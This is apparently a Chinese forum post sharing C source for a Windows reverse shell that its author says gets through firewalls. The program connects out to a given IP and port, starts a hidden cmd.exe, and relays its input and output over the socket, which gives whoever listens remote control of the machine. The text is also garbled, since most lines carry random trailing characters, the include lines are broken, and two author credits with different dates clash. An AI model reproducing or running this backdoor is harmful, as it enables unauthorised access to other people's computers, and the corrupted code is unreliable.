这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aP$it6Z
CM%Rz-c
/* ============================== efr 9
Rebound port in Windows NT Rtu"#XcBw+
By wind,2006/7 n!-]f.=P
===============================*/ QArph0e
#include %}IrZrh
#include <Hf3AB;#4
G{.[o6>
#pragma comment(lib,"wsock32.lib") Ct][B{
jj&mRF0gCb
void OutputShell(); I A%ZCdA;
SOCKET sClient; hp c &s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {^D; ($lm
z+Guu8
void main(int argc,char **argv) v,'k2H
{ ;kI)j
?
WSADATA stWsaData; Z;O!KsJ
int nRet; t[r6 jo7
SOCKADDR_IN stSaiClient,stSaiServer; Sa[?B
(#?O3z1@"
if(argc != 3) ;E_Go&Vd
{ })+iAxR
printf("Useage:\n\rRebound DestIP DestPort\n"); }a!ny
return; .mHVJ5^:4\
} /a*8z,x
.p=OAh<
WSAStartup(MAKEWORD(2,2),&stWsaData); SBy{sbx4&F
F
EUfskv
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AGl#f\_^
/X]gm\x7s
stSaiClient.sin_family = AF_INET; s~QIs
stSaiClient.sin_port = htons(0); /Y=_EOS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s3Wjhw/
j0=F__H#@
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m@Dra2Cv'@
{ o~<jayqU
printf("Bind Socket Failed!\n"); D<hX%VJ%M
return; TMGYNb%<bX
} ihJ!]#Fbm
ch2m Ei(
stSaiServer.sin_family = AF_INET; +DG-MM%\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `_f&T}]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Kton$%Li
Egz6rRCvg
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1Ys)b[:
{ \QQWh wE
printf("Connect Error!"); ?S;z!)
H)P
return; <:!E'WT#f
} 7'OR;b$
OutputShell(); *
V7bALY
} ^&\pY
qnHjw Mi
void OutputShell() ]- 6q`'?[
{ %"cOX
char szBuff[1024]; ^OV!Q\j.q
SECURITY_ATTRIBUTES stSecurityAttributes; lN&+<>a
OSVERSIONINFO stOsversionInfo; >z~_s6#CP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ` ZZ3!$czR
STARTUPINFO stStartupInfo; ,SPgop'
char *szShell; }3,
4B-8!
PROCESS_INFORMATION stProcessInformation; S\]9mHJI
unsigned long lBytesRead; (t){o>l
ySI}Nm>&=
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rb}fP
#j
Hs$HeAp;
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n*ROlCxV
stSecurityAttributes.lpSecurityDescriptor = 0; HE{UgU:tY
stSecurityAttributes.bInheritHandle = TRUE; E,F^!4 rJ$
Rp;"]Q&b
"@5qjLz]
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (-Q~@Q1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ju5o).!bg
+1I7K|M
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _xH<R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :IU<A G6
stStartupInfo.wShowWindow = SW_HIDE; Z
t4q=
Lr
stStartupInfo.hStdInput = hReadPipe; H
"Io!{aKU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \crh`~?>
j\wZjc-j
GetVersionEx(&stOsversionInfo); 33KCO
(f^/KB=
switch(stOsversionInfo.dwPlatformId) !vSq?!y6*P
{ t^Lb}A#$4
case 1: HY eCq9S
szShell = "command.com"; }
xA@3RT
break; s FJ:09L|
default: m]*a;a'}#
szShell = "cmd.exe"; N iu
|M@
break; N
p*T[J
} vz#-uw,O:
.%dGSDru
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lagk
;&gk)w6*
send(sClient,szMsg,77,0); =fH5r_n
while(1) BeLqk3'/
{ +)bn}L>Rl
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3.Yg3&"Z
if(lBytesRead) d2NFdBoI
{ j/Y]3RSMp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WVsj
send(sClient,szBuff,lBytesRead,0); =L@CZ"
} j!kJ@l bP
else z R'EQ
{ }ng?Ar[
lBytesRead=recv(sClient,szBuff,1024,0); T`pDjT
if(lBytesRead<=0) break; `&.qHw)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?-%(K^y4r
} 3UmkFK<
} "wcw`TsK
3s|:7
return; rW|%eT*/'A
}